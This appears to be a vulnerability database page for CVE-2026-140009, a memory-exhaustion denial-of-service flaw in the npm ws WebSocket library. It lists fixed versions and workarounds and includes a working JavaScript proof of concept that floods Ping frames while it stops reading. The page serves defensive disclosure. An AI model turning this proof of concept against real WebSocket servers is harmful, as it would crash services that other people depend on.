Skip to main content
VulnerabilityPublished

CVE-2026-140009: ws · Memory exhaustion DoS via unbounded automatic pong responses

Affects wsSource GCVE Database

0
Compare
Authoritative record:CVE-2026-140009· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 5.2.8 soon.

Data as of 1 Dec 2026, 19:00 UTC

CVSS 3.1 base score
7.5High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.17.5
Patch
Available – fixed in 5.2.8, 6.2.7, 7.5.14 +1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 30 Nov 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 1 Dec 2026.

What to do

Upgrade to a fixed release listed under Affected software.

Affected software

ProductAffectedFixed in
npmwsAffected
  • <5.2.8
Fixed in
  • 5.2.8
npmwsAffected
  • >=6.0.0 <6.2.7
Fixed in
  • 6.2.7
npmwsAffected
  • >=7.0.0 <7.5.14
Fixed in
  • 7.5.14
npmwsAffected
  • >=8.0.0 <8.23.0
Fixed in
  • 8.23.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Impact A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(125); const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { ws.pause(); (function ping() { ws.ping(data, function (err) { if (err) return; ping(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1). ### Workarounds In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the `autoPong` option to `false`, if available. ### Credits The vulnerability was responsibly disclosed by multiple reporters: - [Younghun Ko](https://github.com/koyokr) - [G0r4ni8](https://github.com/kigma00) - [fizzbeom](https://github.com/fizzbeom) - [Huynh Cong Hieu](https://github.com/Drakie14) - [Joseph Devasia](https://github.com/josephdevasia1) - [elba.code](https://github.com/apflffhtm) - [Eshan Singh](https://github.com/R0X4R) - [Zachariah Mithani](https://github.com/zachariah-mithani)

References

Community reviews

Loading reviews…